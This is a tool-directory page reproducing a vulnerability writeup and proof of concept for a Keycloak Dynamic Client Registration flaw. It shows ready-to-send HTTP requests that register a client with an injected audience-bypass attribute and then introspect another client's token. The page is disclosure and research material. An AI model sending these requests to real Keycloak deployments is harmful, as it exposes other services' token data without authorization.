Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-105306 — Writeup and proof of concept for CVE-2026-105306, a Keycloak Dynamic Client Registration flaw that lets an Initial Access Token holder bypass token introspection audience checks. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-105306
Authentication & AuthorizationVulnerability AnalysisExploitationWeb SecurityIdentity & Access Management (IAM)Papers & Research
GitHubdungsocool/cve-2026-105306

CVE-2026-105306

Writeup and proof of concept for CVE-2026-105306, a Keycloak Dynamic Client Registration flaw that lets an Initial Access Token holder bypass token introspection audience checks.

View Repository
1 month agoNot yet reviewed
Share

CVE-2026-105306: Token Introspection Audience Bypass via Dynamic Client Registration in Keycloak

CVE ID: CVE-2026-105306 · CWE: CWE-862 · CVSS 3.1: 6.5 (Medium)
Affected: Keycloak 26.4.0 – 26.8.0 / Red Hat Build of Keycloak


1. Overview

Keycloak is a widely-deployed open-source Identity and Access Management (IAM) solution maintained by Red Hat, providing SSO, identity brokering, and user federation capabilities for enterprise applications.

During security research into Keycloak's client lifecycle management, I identified a critical flaw in the Dynamic Client Registration (DCR) flow: the registration endpoint fails to filter security-sensitive internal client attributes. This allows an authenticated registrant — holding only a standard Initial Access Token (IAT) — to inject the privileged allow.token.introspection.without.audience.check attribute during client creation.

Once set, this attribute instructs Keycloak's token introspection provider to skip audience verification entirely, enabling the attacker's client to introspect any active access token in the realm — regardless of the token's intended audience.


2. Technical Background

2.1 Token Introspection & Audience Isolation (RFC 7662)

In a standard OAuth 2.0 deployment, resource servers validate bearer tokens by calling the authorization server's introspection endpoint:

POST /realms/{realm}/protocol/openid-connect/token/introspect

Keycloak enforces audience restrictions: a client can only introspect tokens where its client_id appears in the token's aud claim. This boundary is critical in multi-tenant and microservice architectures where multiple clients share a realm but must remain isolated.

However, Keycloak provides an internal administrator-only toggle:

allow.token.introspection.without.audience.check = true

When enabled on a client, AccessTokenIntrospectionProvider deliberately skips audience verification. This feature is intended exclusively for privileged use cases (centralized audit gateways, monitoring services) and should only be configurable by Realm Administrators through the Admin Console or Admin REST API.

2.2 Dynamic Client Registration (RFC 7591)

DCR enables authorized entities to register OAuth 2.0 clients programmatically by POSTing client metadata to:

POST /realms/{realm}/clients-registrations/openid-connect

Authentication is performed via an Initial Access Token — a scoped credential that grants registration rights without full administrative privileges. Because DCR registrants are not administrators, the registration pipeline must strictly sanitize incoming attributes to prevent privilege escalation.


3. Root Cause Analysis

The vulnerability originates in Keycloak's AbstractClientRegistrationProvider and the RepresentationToModel mapping layer.

The Missing Filter

┌──────────────────────────────────────────────────────────────────┐
│                     DCR Request Flow                             │
│                                                                  │
│  Attacker (IAT holder)                                           │
│       │                                                          │
│       ▼                                                          │
│  POST /clients-registrations/openid-connect                      │
│  {                                                               │
│    "client_name": "attacker-client",                             │
│    "attributes": {                                               │
│      "allow.token.introspection.without.audience.check": "true"  │
│    }                                                             │
│  }                                                               │
│       │                                                          │
│       ▼                                                          │
│  AbstractClientRegistrationProvider                              │
│       │                                                          │
│       │   NO FILTERING of internal attributes                    │
│       │                                                          │
│       ▼                                                          │
│  RepresentationToModel.createClient()                            │
│       │                                                          │
│       ▼                                                          │
│  ClientModel persisted with privileged attribute                 │
└──────────────────────────────────────────────────────────────────┘
  1. The DCR endpoint deserializes the incoming JSON payload into a ClientRepresentation object.
  2. AbstractClientRegistrationProvider forwards the entire unfiltered attributes map to RepresentationToModel.createClient().
  3. The internal flag allow.token.introspection.without.audience.check is persisted directly into the client model in the database — without any validation or stripping.

Exploitation Path in AccessTokenIntrospectionProvider

When the attacker's client subsequently calls the introspection endpoint:

// Simplified flow in AccessTokenIntrospectionProvider
String bypassFlag = client.getAttribute(
    "allow.token.introspection.without.audience.check"
);

if (Boolean.parseBoolean(bypassFlag)) {
    // ⚠ AUDIENCE CHECK COMPLETELY BYPASSED
    // Full token metadata returned regardless of audience
} else {
    // Normal flow: verify client is in token's audience
    if (!isClientInAudience(client, token)) {
        return inactive();
    }
}

Because the flag was injected during registration, audience verification is skipped entirely.


4. Proof of Concept

Prerequisites

  • A running Keycloak instance (versions 26.4.0 – 26.8.0)
  • A valid Initial Access Token for the target realm
  • A victim access token issued to a different client in the same realm

Step 1: Register Malicious Client via DCR

POST /realms/target-realm/clients-registrations/openid-connect HTTP/1.1
Host: keycloak.target.com
Authorization: Bearer <INITIAL_ACCESS_TOKEN>
Content-Type: application/json

{
  "client_name": "attacker-introspection-client",
  "redirect_uris": ["https://attacker.com/callback"],
  "grant_types": ["client_credentials"],
  "token_endpoint_auth_method": "client_secret_basic",
  "attributes": {
    "allow.token.introspection.without.audience.check": "true"
  }
}

Response (201 Created):

{
  "client_id": "attacker-introspection-client",
  "client_secret": "generated-secret-abc123",
  "registration_access_token": "...",
  "client_name": "attacker-introspection-client",
  "redirect_uris": ["https://attacker.com/callback"],
  "attributes": {
    "allow.token.introspection.without.audience.check": "true"
  }
}

✅ The privileged attribute is accepted and persisted without restriction.

Step 2: Introspect an Arbitrary Victim Token

Using the registered client credentials, the attacker introspects a token that was issued to an entirely different client (internal-billing-service):

POST /realms/target-realm/protocol/openid-connect/token/introspect HTTP/1.1
Host: keycloak.target.com
Authorization: Basic <base64(attacker-introspection-client:generated-secret-abc123)>
Content-Type: application/x-www-form-urlencoded

token=<VICTIM_ACCESS_TOKEN>&token_type_hint=access_token

Step 3: Observe Audience Bypass

Despite attacker-introspection-client not being in the token's aud claim, Keycloak returns full token details:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →